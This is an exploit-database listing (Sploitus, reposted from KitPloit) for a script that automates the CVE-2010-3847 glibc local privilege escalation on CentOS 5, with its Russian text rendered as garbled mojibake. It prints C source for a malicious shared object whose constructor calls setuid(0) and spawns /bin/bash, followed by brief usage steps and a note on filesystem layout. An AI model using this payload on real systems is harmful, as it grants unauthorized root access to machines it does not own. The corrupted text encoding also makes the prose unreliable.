Sploitus

Exploit for cve-2010-3847 CVE-2010-3847

kitploit Β· 2026-08-27

Exploit Code

MARKDOWN27 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MAGISTERQUIS-CVE-2010-3847
# CVE-2010-3847 скрипт

ΠŸΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ эксплойта, описанного Π² [http://marc.info/?l=full-disclosure&m=128776663124692&w=2]. Π’Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Π»ΠΎΡΡŒ Π½Π° CentOS 5 x86.

DSO, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚, скомпилировано ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ΄Π°:

root@kitploit:~
    
    
    #include <sys/types.h>
    #include <unistd.h>
    #include <stdlib.h>
    void __attribute__((constructor)) init()
    {
       setuid(0);
       system("/bin/bash");
    }
    

## ИспользованиС

Π‘ΠΊΠ°Ρ‡Π°ΠΉΡ‚Π΅, помСститС Π² исполняСмоС мСсто ΠΈ запуститС.

## ΠŸΠΎΠ΄Π²ΠΎΠ΄Π½Ρ‹Π΅ ΠΊΠ°ΠΌΠ½ΠΈ

`/tmp` ΠΈ мСстонахоТдСниС `ping` Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² ΠΎΠ΄Π½ΠΎΠΉ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмС. Если Π½Π΅Ρ‚, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΠΏΡƒΡ‚ΠΈ.